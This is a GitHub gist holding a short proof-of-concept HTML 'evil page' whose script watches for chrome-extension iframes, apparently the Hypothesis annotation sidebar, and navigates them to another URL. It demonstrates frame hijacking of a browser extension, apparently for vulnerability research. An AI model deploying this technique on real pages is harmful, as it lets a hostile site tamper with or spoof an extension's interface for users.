-
-
Save robertknight/dcfa69cec054e0495e4a2b555b4708b3 to your computer and use it in GitHub Desktop.
Overwriting the sidebar app
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<meta charset="UTF-8"> | |
</head> | |
<body> | |
I am an evil page. | |
<script> | |
const mo = new MutationObserver(() => { | |
const frames = Array.from(document.body.querySelectorAll('iframe')); | |
frames.forEach((f) => { | |
// Crude test to check if the iframe belongs to the | |
// H extension. There are many other ways it could be done. | |
if (f.src.match(/chrome-extension/) && !f.haxxored) { | |
setTimeout(() => { | |
f.contentWindow.location = 'https://hypothes.is/app.html'; | |
f.haxxored = true; | |
}, 100); | |
} | |
}); | |
}); | |
mo.observe(document.body, { | |
childList: true, | |
subtree: true, | |
}); | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment